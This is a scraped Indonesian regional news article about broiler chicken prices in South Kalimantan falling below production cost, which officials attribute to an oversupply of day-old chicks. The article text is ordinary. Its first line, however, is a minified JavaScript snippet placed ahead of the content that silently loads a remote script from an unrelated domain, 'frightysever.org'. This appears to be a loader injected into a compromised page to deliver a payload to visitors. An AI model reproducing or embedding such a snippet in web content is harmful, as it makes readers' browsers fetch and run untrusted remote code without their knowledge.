(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Harga Ayam Ras Belum Juga Stabil, Disbunak Kalsel: Ada Indikasi Oversupply


BANJARBARU, Anjloknya harga ayam broiler alias ayam ras di tingkat peternak saat ini, membuat Dinas Perkebunan dan Peternakan (Disbunak) kabupaten/kota se Kalsel mengatur ulang strategi agar harga kembali normal.

Dalam rapat koordinasi bersama perwakilan dinas peternakan kabupaten/kota dan perwakilan peternak di ruang rapat H Maksid, Setdaprov Kalsel, Kamis (3/10/). Kepala Disbunak Kalsel, Suparmi, mengakui harga ayam ras memang belum kembali normal dan cenderung anjlok dengan kisaran harga Rp 10-15 ribu per kilogram.

“Ada indikasi oversupply. Harganya saat ini bervariasi ada yang 10 ribu, ada yang 13 ribu, ada yang juga sudah sampai 15 ribu. Tapi belum mencapai Harga Pokok Produksi (HPP) sekitar 18 ribu,” kata Suparmin.

Suparmi membeberkan beberapa upaya sudah dilakukan untuk mengembalikan harga ayam menjadi normal. Seperti penundaan penetasan DOC (Day Old Chicken) hingga operasi pasar. Namun, hal itu belum terlalu membuahkan hasil karena masalahnya diduga kuat karena masalah oversupply DOC.

Seperti halnya operasi pasar yang nyatanya belum membuahkan hasil signifikan untuk mengatur harga ayam. Sebab, kegiatan tersebut hanya bersifat jangka pendek.

“Jadi karena ada indikasi oversupply, hari ini kita khusus menghitung berapa kebutuhan ayam DOC maupun broiler di wilayah Kalimantan Selatan agar kita mengetahui supply and demand-nya,” kata Suparmi.

Menurut dia, saat ini produksi DOC ada sekitar 66 juta, sedangkan permintaan 54 juta. Sisanya didistribusikan ke Provinsi Kaltim dan Kalteng.

“Perhitungan kami sementara, sisanya masih ada kelebihan. Nah hari kami masih menghitung berapa kelebihannya. Kalau kita enggak hitung secara tepat, nanti tambah oversupply lagi,” ujarnya.

Anjloknya harga ayam ras dianggap sangat merugikan para peternak, khususnya peternak mandiri. Sebab, peternak menanggung DOC dan pakan.

“Yang sangat merugi itu peternak mandiri. Dengan harga ini, petani ayam mandiri mengalami kerugian. 98 persen bahkan terancam gulung tikar dan hanya dua persen yang masih bisa bertahan,” ujarnya. (rico)

Reporter : rico
Editor : bie

 


Desy Arfianty

Recent Posts

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

47 menit ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

4 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

5 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

7 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

9 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

9 jam ago

This website uses cookies.